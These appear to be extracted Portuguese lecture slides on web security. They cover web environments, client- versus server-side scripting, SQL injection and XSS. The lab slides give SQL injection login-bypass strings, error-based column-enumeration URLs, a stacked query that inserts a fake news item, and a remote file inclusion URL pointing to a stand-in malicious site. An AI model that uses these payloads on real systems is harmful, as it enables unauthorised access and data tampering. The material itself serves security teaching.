Segurança de Redes Segurança na WEB Prof. Rodrigo Rocha prof.rodrigorocha@yahoo.com Servidor IIS Apache Cliente Browser IE FireFox Ambiente WEB estático 1
Ambiente Web Dinâmico Servidor Web Cliente Navegadores Servidores de BD Processo de registro de um domínio Registrar o nome do domínio Nacional http://www.registro.br Internacional Várias empresas são credenciadas (http://www.internic.com/alpha.html) 2 servidores de DNS Traduzem o nome www seila com para um Traduzem o nome www.seila.com para um endereço IP 200.200.20.1 2
Diretórios em servidor web Internet Information Service - IIS C:\inetpub\wwwroot Apache \var\www Arquivos colocados nestes diretórios são lidos pela raiz do site: Exemplo: c:\inetpub\www\seila.html http://www.site.com.br/seila.html Uso de scripts Javascript Um pouco mais dinâmica <script language="javascript"> nome = prompt("diga-me seu nome:"," )} document.write("<h1>olá " + nome + "</h1>") </script> Vbscript <SCRIPT LANGUAGE="VBScript"> Nome=inputbox( Digite um nome: ) Msgbox( Ola & nome) </SCRIPT> 3
Problema Uma autenticação via client-side (Nunca faça isso em casa!!!!) <script language="javascript"> var ra = prompt("digite seu RA:"); var senha = prompt("digite sua senha:"); if(ra==11111111 && senha==1111) { document.writeln("<span class='style6'><br /><span class='style11'>seja muiiiito Bem Vindo!!!</span></span></span></div>"); } else { document.writeln("<span class='style6'><br />Não Autorizado</span></span></div>"); } </script> Aplicações web Intranet Extranet Dinâmicas Acesso a banco de dados Precisamos de interação!!! Linguagens Client side Escrita dentro da página html Usuário têm acesso ao código fonte g Ex; javascript e vbscript Server side São processadas no servidor Servidor retorna resultado em forma de página html Usuários não conseguem ver o código fonte 4
Windows Web: IIS Linguagem: ASP, ASP.NET Banco de Dados: SQL Server ou outros Linux Web: Apache Linguagem: PHP Banco de Dados: Mysql, Postgre, outros Ambientes Server-Side AMP Apache Mysql PHP LAMP Linux Apache Mysql - PHP Sql Injection XSS - Cross Site Scripting XPath Tipos de Ataques 5
SQL Injection Método de se inserir comandos SQL em entradas de páginas web; As páginas dinâmicas na web recebem parâmetros do usuário e repassam via consulta para o servidor de banco de dados Exemplo: Login, consultas Com o artifício do SQL Injection, é possível: entrar autenticado sem possuirmos credenciais realizar comandos SQL (Ex: drop table) inserir dados nas tabelas Páginas que podem ser exploradas: ASP, JSP, CGI ou PHP Entrando autorizado Laboratório 6
Laboratório No login posso tentar Campos numéricos 1 or1=1 1 Campos texto or = Caracter de scape 1 or 1=1 Laboratório Inserindo dados 7
Laboratório Utilizando as mensagens de erro http://localhost/noticia.asp?id=1 having 1=1 http://localhost/noticia.asp?id=1 group by noticias.codigo having 1=1 http://localhost/noticia.asp?id=1 asp?id=1 group by noticias.codigo,titulo codigo titulo having 1=1 http://localhost/noticia.asp?id=1 group by noticias.codigo,titulo,texto having 1=1 Depois de descoberto os campos, adiciono uma notícia falsa http://localhost/noticia.asp?id=1%20group%20by%20noticias.codigo,ti tulo,texto;insert%20into%20noticias(codigo,titulo,texto )%20VALUES(9999,'Falencia','A%20empresa%20decretou%20fale ncia');--- XSS Cross Site Scripting As vulnerabilidades Cross-site scripting (por vezes chamado de XSS) ocorrem quando um invasor usa uma aplicação web para enviar código malicioso, geralmente na forma de um script, para um outro usuário final. Estas vulnerabilidades estão muito difundidas e ocorrem sempre que uma aplicação web utiliza a entrada do usuário na saída que aplicação gera sem validá-la. (owasp) 8
Laboratório http://localhost/sobre.asp?pagina=sobrenos.htm http://localhost/sobre.asp?pagina=http://www.sitemalicioso.com/outrapagina.htm Exercícios 1-) Quais danos podem ser causados por ataques de Sql Injection? 2-) O que é Blind SQL Injection? 3-) Quais as contra-medidas contra XSS e Sql Injection? 4-) Não mostrar mensagens de erros do servidor web são suficientes para frustar tentativas de ataque. Você concorda com esta afirmação. Justifique. 5-) O que é, e quais os problemas de uma backdoor web? 9
Bibliografia Livro texto ANONIMO,.. Segurança Máxima Totalmente Atualizado. 3.ed. Rio de Janeiro: CAMPUS, 2005. Complementar BURNETT, Steve; PAINE, Stephen. Criptografia e Segurança: o guia oficial RSA. 1.ed. São Paulo: Campus, 2002. PETERSON, L.L. Redes de Computadores: uma abordagem de sistemas. 3.ed. Rio de Janeiro: Campus, 2004. WADLOW, Thomas. Segurança de Redes: Projeto e Gerenciamento de Redes Segura. 1.ed. Rio de Janeiro: Campus, 2000. SCHNEIER, Bruce. Segurança.com: Segredos e Mentiras Sobre a Proteção na Vida Digital. 1.ed. Rio de Janeiro: CAMPUS, 2001. 10